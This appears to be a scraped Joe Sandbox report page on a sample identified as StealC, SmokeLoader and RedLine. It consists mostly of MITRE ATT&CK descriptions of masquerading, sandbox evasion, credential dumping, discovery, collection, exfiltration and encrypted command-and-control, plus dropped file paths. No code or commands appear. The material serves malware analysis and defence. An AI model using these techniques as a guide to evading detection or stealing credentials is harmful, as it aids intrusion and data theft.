Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BRvptajioG.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: SmokeLoader

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

(copy)

C:\ProgramData\AFHDGDGIIDGCFIDHDHDHCBAKJE

C:\ProgramData\CBGHCAKK

C:\ProgramData\DGDBFBFC

C:\ProgramData\Drivers\csrss.exe

C:\ProgramData\EBGDAAKJJDAAKFHJKJKF

C:\ProgramData\HJJEHJJKJEGHJJKEBFBG

Windows Analysis Report
BRvptajioG.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre